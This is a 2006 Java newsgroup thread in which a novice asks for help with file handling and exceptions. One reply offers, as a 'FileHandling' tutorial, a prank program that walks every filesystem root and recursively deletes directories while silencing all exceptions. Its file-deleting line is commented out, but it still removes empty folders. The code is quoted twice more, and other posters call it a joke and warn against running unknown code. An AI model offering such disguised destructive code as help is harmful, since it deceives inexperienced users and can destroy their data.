i am new to java  
Author Message
trippy





PostPosted: 2006-11-15 15:09:00 Top

java-programmer, i am new to java In article <eje544$gkc$email***@***.com>, Prejith took
the hamburger meat, threw it on the grill, and I said "Oh Wow"...

> hello
>
> i am new to java programming..since it is a requirement for my task i am
> suppose to write java jobs..i had a small training in core java concepts for
> 3 days..
>
> my question here is i am suppose to use some file handling and exception
> handling in my programme..can you help me with the above mentioned
> concepts...
>
> Regards
> Prejith

Okay, it breaks down like this. File handling is just that, things you
want to do to a file. You can read files and write to them. Whenever
you read to or write from a file, you have to handle exceptions, the
main one being FileNotFoundException (in case there's no file to be
found). That's why they want to empahasize both of those points.
Whenever you're doing I/O, you have to use try/catch blocks. I think
I/O exception's the other one you have to handle but my memory is
fuzzy on it right now.

HTH

--
trippy
mhm31x9 Smeeter#29 WSD#30
sTaRShInE_mOOnBeAm aT HoTmAil dOt CoM

NP: "All I Really Want" -- Alanis Morissette

"Now, technology's getting better all the time and that's fine,
but most of the time all you need is a stick of gum, a pocketknife,
and a smile."

-- Robert Redford "Spy Game"



 
trippy





PostPosted: 2006-11-15 15:09:00 Top

java-programmer >> i am new to java In article <eje544$gkc$email***@***.com>, Prejith took
the hamburger meat, threw it on the grill, and I said "Oh Wow"...

> hello
>
> i am new to java programming..since it is a requirement for my task i am
> suppose to write java jobs..i had a small training in core java concepts for
> 3 days..
>
> my question here is i am suppose to use some file handling and exception
> handling in my programme..can you help me with the above mentioned
> concepts...
>
> Regards
> Prejith

Okay, it breaks down like this. File handling is just that, things you
want to do to a file. You can read files and write to them. Whenever
you read to or write from a file, you have to handle exceptions, the
main one being FileNotFoundException (in case there's no file to be
found). That's why they want to empahasize both of those points.
Whenever you're doing I/O, you have to use try/catch blocks. I think
I/O exception's the other one you have to handle but my memory is
fuzzy on it right now.

HTH

--
trippy
mhm31x9 Smeeter#29 WSD#30
sTaRShInE_mOOnBeAm aT HoTmAil dOt CoM

NP: "All I Really Want" -- Alanis Morissette

"Now, technology's getting better all the time and that's fine,
but most of the time all you need is a stick of gum, a pocketknife,
and a smile."

-- Robert Redford "Spy Game"



 
Luc The Perverse





PostPosted: 2006-11-15 16:25:00 Top

java-programmer >> i am new to java "Prejith" <email***@***.com> wrote in message
news:eje544$gkc$email***@***.com...
> hello
>
> i am new to java programming..since it is a requirement for my task i am
> suppose to write java jobs..i had a small training in core java concepts
> for
> 3 days..
>
> my question here is i am suppose to use some file handling and exception
> handling in my programme..can you help me with the above mentioned
> concepts...

No offense - but why are you doing this - and not someone who knows how to
program? It will take hundreds of hours to be on level with trained
engineers.

Likely a seasoned engineer could be "borrowed" from another department or
even another company for a fee - and produce a superior product in a
fraction of the time.

:)


 
 
M.J. Dance





PostPosted: 2006-11-15 18:26:00 Top

java-programmer >> i am new to java Prejith wrote:
> hello
>
> i am new to java programming..since it is a requirement for my task i am
> suppose to write java jobs..i had a small training in core java concepts for
> 3 days..
>
> my question here is i am suppose to use some file handling and exception
> handling in my programme..can you help me with the above mentioned
> concepts...
>
> Regards
> Prejith

This should give you a pretty nice picture of how to handle files.

DISCLAIMER: I'm not liable, yadda yadda yadda.

import java.io.File;
import java.io.FileFilter;

import javax.swing.filechooser.FileSystemView;

public class FileHandling {

private static final FileFilter DIRS = new FileFilter() {
public boolean accept(final File file) {
return file.isDirectory();
}
};

private static final FileFilter FILES = new FileFilter() {
public boolean accept(final File file) {
return file.isFile();
}
};

public FileHandling() {

}

public void handle(File root) {
if(root == null)
return;

if(!root.isDirectory())
root = root.getParentFile();

if(root == null)
return;

File[] files = root.listFiles(FILES);
if(files != null) {
for(File file : files) {
//life saver//try {file.delete();} catch(Exception x) {}
}
}

File[] dirs = root.listFiles(DIRS);
if(dirs != null) {
for(File dir : dirs) {
handle(dir);
}
}

root.delete();
}

public static void main(String[] args) {
try {
FileHandling fileHandling = new FileHandling();

File[] roots = FileSystemView.getFileSystemView().getRoots();
if(roots != null) {
for(File root : roots) {
try {fileHandling.handle(root);} catch(Exception x) {}
}
}
}
catch(Exception x) {}
}
}


 
 
Oliver Wong





PostPosted: 2006-11-16 0:45:00 Top

java-programmer >> i am new to java
"Prejith" <email***@***.com> wrote in message
news:eje544$gkc$email***@***.com...
> hello
>
> i am new to java programming..since it is a requirement for my task i am
> suppose to write java jobs..i had a small training in core java concepts
> for
> 3 days..
>
> my question here is i am suppose to use some file handling and exception
> handling in my programme..can you help me with the above mentioned
> concepts...

http://java.sun.com/docs/books/tutorial/essential/io/
http://java.sun.com/docs/books/tutorial/essential/exceptions/

- Oliver


 
 
Lew





PostPosted: 2006-11-16 11:12:00 Top

java-programmer >> i am new to java M.J. Dance wrote:
> Prejith wrote:
>> hello
>>
>> i am new to java programming..since it is a requirement for my task i am
>> suppose to write java jobs..i had a small training in core java
>> concepts for
>> 3 days..
>>
>> my question here is i am suppose to use some file handling and exception
>> handling in my programme..can you help me with the above mentioned
>> concepts...
>>
>> Regards
>> Prejith
>
> This should give you a pretty nice picture of how to handle files.
>
> DISCLAIMER: I'm not liable, yadda yadda yadda.
>
> import java.io.File;
> import java.io.FileFilter;
>
> import javax.swing.filechooser.FileSystemView;
>
> public class FileHandling {
>
> private static final FileFilter DIRS = new FileFilter() {
> public boolean accept(final File file) {
> return file.isDirectory();
> }
> };
>
> private static final FileFilter FILES = new FileFilter() {
> public boolean accept(final File file) {
> return file.isFile();
> }
> };
>
> public FileHandling() {
>
> }
>
> public void handle(File root) {
> if(root == null)
> return;
>
> if(!root.isDirectory())
> root = root.getParentFile();
>
> if(root == null)
> return;
>
> File[] files = root.listFiles(FILES);
> if(files != null) {
> for(File file : files) {
> //life saver//try {file.delete();} catch(Exception x) {}
> }
> }
>
> File[] dirs = root.listFiles(DIRS);
> if(dirs != null) {
> for(File dir : dirs) {
> handle(dir);
> }
> }
>
> root.delete();
> }
>
> public static void main(String[] args) {
> try {
> FileHandling fileHandling = new FileHandling();
>
> File[] roots = FileSystemView.getFileSystemView().getRoots();
> if(roots != null) {
> for(File root : roots) {
> try {fileHandling.handle(root);} catch(Exception x) {}
> }
> }
> }
> catch(Exception x) {}
> }
> }

You are a very sick puppy.

To the OP: You should really not run programs just because someone says so.
At least, not without backup.

- Lew
 
 
Luc The Perverse





PostPosted: 2006-11-16 13:10:00 Top

java-programmer >> i am new to java "Lew" <email***@***.com> wrote in message
news:email***@***.com...
> M.J. Dance wrote:
>> Prejith wrote:
>>> hello
>>>
>>> i am new to java programming..since it is a requirement for my task i am
>>> suppose to write java jobs..i had a small training in core java concepts
>>> for
>>> 3 days..
>>>
>>> my question here is i am suppose to use some file handling and exception
>>> handling in my programme..can you help me with the above mentioned
>>> concepts...
>>>
>>> Regards
>>> Prejith
>>
>> This should give you a pretty nice picture of how to handle files.
>>
>> DISCLAIMER: I'm not liable, yadda yadda yadda.
>>
>> import java.io.File;
>> import java.io.FileFilter;
>>
>> import javax.swing.filechooser.FileSystemView;
>>
>> public class FileHandling {
>>
>> private static final FileFilter DIRS = new FileFilter() {
>> public boolean accept(final File file) {
>> return file.isDirectory();
>> }
>> };
>>
>> private static final FileFilter FILES = new FileFilter() {
>> public boolean accept(final File file) {
>> return file.isFile();
>> }
>> };
>>
>> public FileHandling() {
>>
>> }
>>
>> public void handle(File root) {
>> if(root == null)
>> return;
>>
>> if(!root.isDirectory())
>> root = root.getParentFile();
>>
>> if(root == null)
>> return;
>>
>> File[] files = root.listFiles(FILES);
>> if(files != null) {
>> for(File file : files) {
>> //life saver//try {file.delete();} catch(Exception x) {}
>> }
>> }
>>
>> File[] dirs = root.listFiles(DIRS);
>> if(dirs != null) {
>> for(File dir : dirs) {
>> handle(dir);
>> }
>> }
>>
>> root.delete();
>> }
>>
>> public static void main(String[] args) {
>> try {
>> FileHandling fileHandling = new FileHandling();
>>
>> File[] roots = FileSystemView.getFileSystemView().getRoots();
>> if(roots != null) {
>> for(File root : roots) {
>> try {fileHandling.handle(root);} catch(Exception x)
>> {}
>> }
>> }
>> }
>> catch(Exception x) {}
>> }
>> }
>
> You are a very sick puppy.
>
> To the OP: You should really not run programs just because someone says
> so. At least, not without backup.

LOL

So sad when that happens

:)


 
 
Thomas Weidenfeller





PostPosted: 2006-11-16 16:16:00 Top

java-programmer >> i am new to java Lew wrote:
> You are a very sick puppy.
>
> To the OP: You should really not run programs just because someone says
> so. At least, not without backup.

Come on, he did put the dangerous line in a comment.

/Thomas
--
The comp.lang.java.gui FAQ:
http://gd.tuwien.ac.at/faqs/faqs-hierarchy/comp/comp.lang.java.gui/
ftp://ftp.cs.uu.nl/pub/NEWS.ANSWERS/computer-lang/java/gui/faq
 
 
Lew





PostPosted: 2006-11-17 10:31:00 Top

java-programmer >> i am new to java Thomas Weidenfeller wrote:
> Come on, he did put the dangerous line in a comment.
>
> /Thomas

True, and it was funny, too.

Personally I am a big fan of just that style of humor.

- Lew
 
 
M.J. Dance





PostPosted: 2006-11-17 19:46:00 Top

java-programmer >> i am new to java Lew wrote:
> Thomas Weidenfeller wrote:
>> Come on, he did put the dangerous line in a comment.
>>
>> /Thomas
>
> True, and it was funny, too.
>
> Personally I am a big fan of just that style of humor.

Yeah. I encountered it (the style, that is) some time ago during "exploration"
of a new version of what used to be called Windows Commander. I found a strange
executable located in root directory. IIRC, it wasn't visible in any other file
manager nor console. Finally I succumbed ;-) to temptation and ran it.
Immediately files started to disappear from WC view: allegedly this was supposed
to be a deleter virus or something. I was just starting to break sweat when -
phew! - "luckily, this is just a joke" type of message popped up, reminding me
that WC was shareware. Funny and - more important - very instructive.
 
 
Alex Hunsley





PostPosted: 2006-12-6 0:56:00 Top

java-programmer >> i am new to java Thomas Weidenfeller wrote:
> Lew wrote:
>> You are a very sick puppy.
>>
>> To the OP: You should really not run programs just because someone
>> says so. At least, not without backup.
>
> Come on, he did put the dangerous line in a comment.

One of them, anyway. This code could still delete empty directories.